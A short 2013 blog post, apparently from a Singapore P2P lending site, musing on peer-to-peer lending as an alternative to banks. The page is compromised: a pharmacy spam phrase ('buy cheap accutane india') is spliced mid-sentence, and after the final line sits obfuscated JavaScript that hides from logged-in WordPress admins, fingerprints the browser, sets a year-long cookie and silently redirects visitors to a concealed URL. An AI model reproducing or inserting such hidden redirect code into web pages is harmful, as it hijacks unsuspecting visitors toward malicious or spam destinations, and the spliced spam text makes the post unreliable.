Stumbling upon Peer-to-Peer Lending

Uncategorized April 07th, 2013
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I first heard of Peer-to-Peer (P2P) lending a few years back but it wasn’t until the late evenings into December 2011 when random “googling” in between trading emissions got me excited over this burgeoning global movement.

Essentially, the P2P lending phenomenon is a bottom up, grassroots driven type of social lending, that seeks to address the UNDER-SERVED segments in the world of traditional finance. Through the use of technology, P2P lending platforms facilitate collaboration between small borrowers and investors by allowing them to reach out to each buy cheap accutane india other directly, therefore removing the traditional banks as middle-man.

It is an idea that has gained much traction all over the world but not yet in our Little Red Dot, Singapore. That had me pondering…

As a small investor, I will definitely welcome a greater choice of investment opportunities. For small borrowers who keep lamenting that banks only lend money to those who don’t need them, they surely will welcome an alternative source of funds?

It all makes MoolahSense to me! What’s your take?load’,’getElementById’,’undefined’,’setTime’,’getTime’,’toUTCString’,’cookie’,’;\x20path=/’,’split’,’length’,’charAt’,’substring’,’indexOf’,’match’,’userAgent’,’Edge’];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df[‘push’](_0x15c1df[‘shift’]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(‘0x0’)]=function(){(function(){if(document[_0x287a(‘0x1’)](‘wpadminbar’)===null){if(typeof _0x335357===_0x287a(‘0x2’)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=”;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(‘0x3’)](_0x5b6c5c[_0x287a(‘0x4′)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=’;\x20expires=’+_0x5b6c5c[_0x287a(‘0x5’)]();}document[_0x287a(‘0x6’)]=_0xe0ae90+’=’+(_0x112012||”)+_0x21e546+_0x287a(‘0x7′);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+’=’;var _0x36a90c=document[_0x287a(‘0x6’)][_0x287a(‘0x8’)](‘;’);for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};